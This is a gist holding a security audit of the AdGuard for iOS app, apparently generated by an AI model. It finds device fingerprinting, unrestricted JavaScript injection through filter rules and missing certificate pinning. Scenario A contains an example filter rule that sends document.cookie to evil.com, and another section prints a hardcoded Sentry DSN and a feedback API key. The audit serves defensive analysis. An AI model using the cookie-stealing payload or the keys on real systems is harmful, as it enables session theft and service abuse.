Skip to content

Instantly share code, notes, and snippets.

@wellingtonlee
Created February 11, 2026 04:40
Show Gist options
  • Select an option

  • Save wellingtonlee/acaf59a9eb71026ec4de39c4fff20c7b to your computer and use it in GitHub Desktop.

Select an option

Save wellingtonlee/acaf59a9eb71026ec4de39c4fff20c7b to your computer and use it in GitHub Desktop.
A Claude Opus 4.6 Security Evaluation of the Adguard for iOS Extension

Security & Privacy Audit: AdGuard for iOS (v4.5)

Executive Summary

This audit analyzed the open-source AdGuard for iOS codebase across five dimensions: architecture, DNS filtering, Safari content blocking, telemetry/data collection, and suspicious code patterns. No malicious backdoors or covert data exfiltration were found. However, several findings merit attention from a security and privacy standpoint.


1. DEVICE FINGERPRINTING VIA FILTER UPDATES (Medium Severity)

Finding: Every filter metadata request sends the device's identifierForVendor UUID to AdGuard servers.

Evidence:

  • SafariConfiguration+Initializers.swift:36cid: UIDevice.current.identifierForVendor?.uuidString
  • FiltersMetadataRequest.swift:45-46 — sends id and cid parameters (both the device UUID)
  • Endpoint: https://filters.adtidy.org/ios/filters.js?v=<version>&lang=<lang>&id=<UUID>&cid=<UUID>

Impact: AdGuard's servers can build a per-device profile of:

  • When the device checks for filter updates (up to every 6 hours)
  • App version and language/locale
  • Whether it's the free or Pro variant (ios vs ios_pro)

This is a persistent device identifier that effectively tracks users across sessions. Notably, the same UUID is sent twice in both id and cid parameters, which appears redundant and suggests potential legacy coupling.


2. ARBITRARY JAVASCRIPT INJECTION INTO WEB PAGES (High Severity — by design)

Finding: The Safari Web Extension can inject arbitrary CSS, JavaScript, and "scriptlets" into every web page the user visits, with no sanitization, no sandboxing, and no trust differentiation between built-in and custom filter sources.

2.1 The Injection Pipeline

Filter Lists (remote URLs or user-added custom URLs)
        |
        v
FiltersService (download & store raw rules as text files)
        |
        v
FiltersConverterService → FiltersConverter → ContentBlockerConverterWrapper
   -- advancedBlocking: true (if Pro + enabled)
   -- Produces advancedRulesText (JS, CSS, scriptlets, extended CSS)
        |
        v
ContentBlockersInfoStorage.saveAdvancedRules()
   -- Deduplicates by string identity — NO VALIDATION
   -- Calls WebExtension.buildFilterEngine(rules:) [opaque binary]
   -- Stores compiled engine in shared app group container
        |
        v
Safari Web Extension (on every page load)
   -- content.js runs at document_start on <all_urls>, all_frames
   -- Requests configuration from native host via sendNativeMessage
   -- WebExtension.lookup(pageUrl:, topUrl:) returns matching rules
        |
        v
ContentScript.run() applies in order:
   1. applyCss(configuration.css)
   2. applyExtendedCss(configuration.extendedCss)
   3. applyScriptlets(configuration.scriptlets)
   4. applyScripts(configuration.js)          ← RAW JS EXECUTION

2.2 How Raw JavaScript Is Executed

At content.js:27522-27575, two methods inject code directly into the page context:

// Method 1: <script> tag with textContent (line 27522)
const executeScriptsViaTextContent = code => {
  const scriptTag = document.createElement('script');
  scriptTag.textContent = code;           // RAW CODE — NO SANITIZATION
  document.head.appendChild(scriptTag);   // EXECUTES IN FULL PAGE CONTEXT
};

// Method 2 (fallback): Blob URL (line 27541)
const executeScriptsViaBlob = code => {
  const blob = new Blob([code], { type: 'text/javascript' });
  const url = URL.createObjectURL(blob);
  const scriptTag = document.createElement('script');
  scriptTag.src = url;                    // EXECUTES IN FULL PAGE CONTEXT
};

There is zero validation of the JavaScript before injection. Code from filter rules is passed straight through to a <script> tag.

2.3 The Manifest Grants Maximum Scope

From manifest.json:

"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self'",
"content_scripts": [{
    "js": ["content.js"],
    "matches": ["<all_urls>"],
    "run_at": "document_start",
    "all_frames": true,
    "match_about_blank": true,
    "match_origin_as_fallback": true
}],
"permissions": ["<all_urls>", "nativeMessaging", "storage", "unlimitedStorage", "activeTab"]
  • <all_urls> + all_frames: true — runs on every page and every iframe
  • document_start — runs before any page JavaScript
  • 'unsafe-eval' in extension CSP
  • match_about_blank: true — even about:blank frames

2.4 ~100 Built-in Scriptlets and Their Capabilities

The bundled scriptlet library (content.js lines ~3000-27410) contains ~100 named scriptlets invoked by name via scriptlets.invoke(). Scriptlet names must match the whitelisted scriptletsMap — unknown names throw an error. Categories:

Category Scriptlets What They Access
Cookie manipulation set-cookie, remove-cookie, trusted-set-cookie document.cookie read/write/delete
Storage manipulation set-local-storage-item, set-session-storage-item, trusted-set-* localStorage, sessionStorage
Network interception prevent-fetch, prevent-xhr, trusted-replace-fetch-response, trusted-replace-xhr-response Proxies fetch() and XMLHttpRequest — reads/modifies all requests/responses
DOM manipulation remove-attr, set-attr, trusted-click-element, trusted-create-element Full DOM access including Shadow DOM
JS API hooking prevent-addEventListener, prevent-setTimeout, prevent-setInterval, prevent-window-open Replaces native browser APIs with proxied versions
Code execution control noeval, prevent-eval-if, log-eval Wraps eval() and new Function()
Property spoofing set-constant, trusted-set-constant, spoof-css Overrides any JS property or CSS computed value
Response modification json-prune-fetch-response, json-prune-xhr-response, xml-prune, m3u-prune Parses and modifies JSON/XML/M3U response bodies in-flight
WebRTC blocking nowebrtc Disables RTCPeerConnection

2.5 "trusted-*" Scriptlets — Elevated Privileges, No Value Restrictions

Regular scriptlets have input validation. For example, set-cookie at content.js:21491 limits values to a whitelist: true, false, yes, no, ok, on, off, accept, reject, allow, deny, enable, disable, necessary, required, hide, essential, nonessential, checked, unchecked, forbidden, forever, or numeric values.

The trusted-* variants bypass all value restrictions:

  • trusted-set-cookie — set cookies to any arbitrary value
  • trusted-replace-fetch-response / trusted-replace-xhr-response — intercept any network request and modify the response body
  • trusted-click-element — programmatically click any element (buttons, forms, links)
  • trusted-create-element — create arbitrary DOM elements including <script> and <iframe>
  • trusted-set-constant — set any JS property to any value
  • trusted-set-local-storage-item / trusted-set-session-storage-item — write arbitrary storage data
  • trusted-prune-inbound-object — modify arguments to any function call

These trusted-* scriptlets are available to ANY filter list — there is no trust gate restricting them to first-party AdGuard filters only.

2.6 No Trust Differentiation Between Custom and Built-in Filters

Location: FiltersConverterService.swift:74-137, FiltersConverter.swift:172-206

Custom filters (added by users from arbitrary URLs) and user blocklist rules go through the exact same pipeline as AdGuard's built-in filters:

// FiltersConverter.swift:206 — same advancedBlocking flag for ALL sources
advancedBlocking: configuration.advancedBlockingIsEnabled && configuration.proStatus

// FiltersConverter.swift:175 — user blocklist rules appended to ALL content blockers
filters.keys.forEach { filters[$0]?.append(contentsOf: blocklistRules) }

A malicious custom filter list or a user-typed blocklist rule using #%# syntax would have its JavaScript compiled and executed with the same privileges as AdGuard's own rules.

2.7 No Content Integrity Verification

  • No checksums or hash verification on downloaded filter files
  • No digital signatures on filter content
  • No Subresource Integrity (SRI)
  • No diff between expected and actual filter content
  • The FilterEngine framework that compiles rules is a closed binary — not auditable from this repo

2.8 Positive Findings (Content Script Security)

  • The content script itself has no phone-home capability — it makes zero outbound network requests to AdGuard or any external server
  • The only communication channel is browser.runtime.sendMessage back to the background page (to request rules and submit user-created blocking rules)
  • The content script does not read passwords, form inputs, or exfiltrate any user data on its own
  • It does not contain telemetry, analytics, or crash reporting
  • Event delaying (300ms buffer for DOMContentLoaded/load) has a hard timeout to prevent page breakage

2.9 Gating: Pro + Opt-in Required

Advanced blocking (JS/scriptlets) is gated at FiltersConverter.swift:206:

advancedBlocking: configuration.advancedBlockingIsEnabled && configuration.proStatus
  • Free users are not affected — they get CSS-only content blocking
  • Pro users have it enabled by default but can toggle it off

2.10 Realistic Attack Scenarios

Scenario A — MITM on WiFi: Attacker intercepts filter update (no cert pinning), injects a rule like ||banking-site.com^#%#new Image().src='https://evil.com/?c='+document.cookie — exfiltrates session cookies.

Scenario B — Malicious custom filter: User is social-engineered into adding a filter URL (e.g., forum post claiming to block ads on a specific site). Filter contains #%# rules that inject a keylogger or credential harvester.

Scenario C — Supply chain compromise: If filters.adtidy.org CDN or any upstream filter source is compromised, malicious JS rules could be pushed to all Pro users.

Risk: While this is standard for advanced ad blockers, the injection pipeline means that a compromised filter list update could execute arbitrary JavaScript on every page the user visits. The filter rules are fetched over HTTPS but without certificate pinning (see finding #3), which increases this risk.


3. NO CERTIFICATE PINNING ON ANY NETWORK REQUESTS (Medium Severity)

Finding: All HTTP requests use URLSession.shared with no custom URLSessionDelegate for certificate validation.

Evidence:

  • RequestSender.swift:72public init(session: URLSession = URLSession.shared)
  • RequestSender.swift:115session.dataTask(with: urlRequest) — standard data task, no delegate
  • No SecTrust evaluation, no URLAuthenticationChallenge handling anywhere in the codebase

Impact: An attacker performing a MITM attack (e.g., on a compromised WiFi network) could:

  1. Intercept filter metadata requests (learning what filters the user has)
  2. Inject malicious filter rules including JavaScript that would be executed on all web pages (combining with finding #2)
  3. Intercept license/auth tokens
  4. Intercept bug report submissions (which contain extensive device info)

This is the most actionable security concern — the combination of no certificate pinning + arbitrary JS injection via filter rules creates a realistic attack chain.


4. APP TRANSPORT SECURITY DISABLED (Low-Medium Severity)

Finding: NSAllowsArbitraryLoads is set to true in all four Info.plist files:

  • AdguardApp/Info.plist:98
  • AdguardPro/AdguardPro.plist:96
  • ActionExtension/Info.plist:27
  • ProActionExtensionInfo.plist:27

Impact: The app and its extensions can make plain HTTP requests, bypassing iOS's default TLS enforcement. While likely needed for the DNS/VPN functionality (which must handle arbitrary traffic), it also means the app's own API calls aren't protected by the OS-level ATS safety net.


5. EXTENSIVE LOCAL DNS QUERY LOGGING (Privacy Concern)

Finding: All DNS queries are logged locally in a SQLite database with comprehensive metadata.

Evidence: The DNS log database (DNS_log_statistics.db) stores the last 1,500 queries with:

  • Full domain name queried
  • DNS response/answer
  • Processing status (blocked, allowed, encrypted)
  • Upstream DNS server used
  • Bytes sent/received
  • Matching filter rules
  • Timestamps

Impact: If the device is compromised or physically accessed, this database provides a detailed browsing history. The data stays local and is not transmitted to AdGuard servers, but it's a significant local privacy exposure.


6. SENTRY CRASH REPORTING TO ADGUARD SERVERS (Low Severity)

Finding: Sentry error tracking is enabled in both the main app and the VPN tunnel extension.

Evidence:

  • Constants+Sentry.swift — DSN: https://c7ddc70397fe47198302226c5baab7df@s10.adtidy.org/214
  • AppDelegate.swift:152-155 and TunnelProvider.swift:55-58 — Sentry initialized
  • enableAutoSessionTracking = false — session tracking is explicitly disabled

Mitigation: AdGuard hosts their own Sentry instance (s10.adtidy.org) rather than using Sentry's cloud. Session tracking is disabled. However, crash reports still contain stack traces and potentially sensitive runtime state.


7. HARDCODED API KEYS IN SOURCE CODE (Low Severity)

Finding: Two credentials are hardcoded in the open-source codebase:

  1. Sentry DSN: https://c7ddc70397fe47198302226c5baab7df@s10.adtidy.org/214
  2. Feedback API Key: key=4DDBE80A3DA94D819A00523252FB6380 (in SendFeedbackRequest.swift)

Impact: These could be abused to submit fake crash reports or spam feedback. Low severity since they're server-side keys with limited scope.


8. SUPPORT/BUG REPORT DATA COLLECTION (Low Severity — User-Initiated)

Finding: When users submit bug reports, the app collects extensive device/configuration data:

  • Device model, OS version, device vendor UUID
  • All enabled filter lists and rule counts
  • DNS server configuration (name, upstreams, bootstrap/fallback servers)
  • Tunnel mode, network settings (mobile/WiFi filtering)
  • Pro/trial status
  • WiFi exception rules
  • Optional: full debug logs from all processes

This is user-initiated (not automatic), but users may not realize the extent of data included.


9. WHAT WAS NOT FOUND (Positive Findings)

  • No third-party analytics SDKs (no Firebase, Amplitude, Mixpanel, AppsFlyer, Facebook SDK, etc.)
  • No clipboard access (UIPasteboard not used)
  • No dynamic code loading (no dlopen, NSClassFromString abuse, performSelector for code execution)
  • No obfuscated code — codebase is clean, well-structured, and readable
  • No hidden backdoors or debug-mode remote access
  • No data exfiltration of browsing history, DNS logs, or page content to remote servers
  • No binary blobs that can't be audited — AGDnsProxy is a properly imported framework
  • Keychain usage is appropriate — only stores auth credentials and app ID
  • URL schemes are documented and safe — no command injection vectors

Risk Summary

# Finding Severity Exploitability
1 Device UUID sent with filter updates Medium Passive tracking by AdGuard
2a Raw JS injection (#%#) — no sanitization High (by design) Requires compromised filter source
2b trusted-* scriptlets not gated by filter source Medium-High Any filter list can invoke them
2c No trust differentiation for custom filters Medium User must add malicious filter URL
2d No content integrity verification on filters Medium Enables supply chain attacks
2e FilterEngine is a closed binary Informational Cannot audit rule compilation
3 No certificate pinning Medium Requires MITM position
4 ATS disabled globally Low-Medium Enables downgrade attacks
5 Local DNS query logging Privacy concern Requires device access
6 Sentry crash reporting Low Automatic, limited data
7 Hardcoded API keys Low Abuse potential minimal
8 Extensive bug report data Low User-initiated only

Key Recommendations

  1. Certificate pinning — The most critical fix. Implement certificate pinning for filters.adtidy.org and mobile-api.adguard.org. Without it, MITM + JS injection (#3 + #2a) is the most realistic attack chain.

  2. Restrict raw #%# JS rules to trusted filter sources only — Custom filter lists and user blocklist rules should NOT be allowed to produce raw JS rules. Scriptlet rules (#%#//scriptlet) are safer since they use a predefined library, but raw #%# JS should be gated by filter source trust level.

  3. Gate trusted-* scriptlets — Only allow first-party AdGuard filter lists to invoke trusted-* scriptlets. Third-party and custom filters should be restricted to regular (value-validated) scriptlets.

  4. Filter integrity verification — Add checksums or digital signatures for built-in filter list content. Verify that downloaded filter files have not been tampered with.

  5. UI warnings for custom filters — When a custom filter list contains advanced blocking rules (JS/scriptlets), display the count and require explicit user consent before enabling them.

  6. Audit the FilterEngine binary — Since WebExtension.lookup and WebExtension.buildFilterEngine are the core gate for what gets injected, this opaque dependency should be independently audited.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment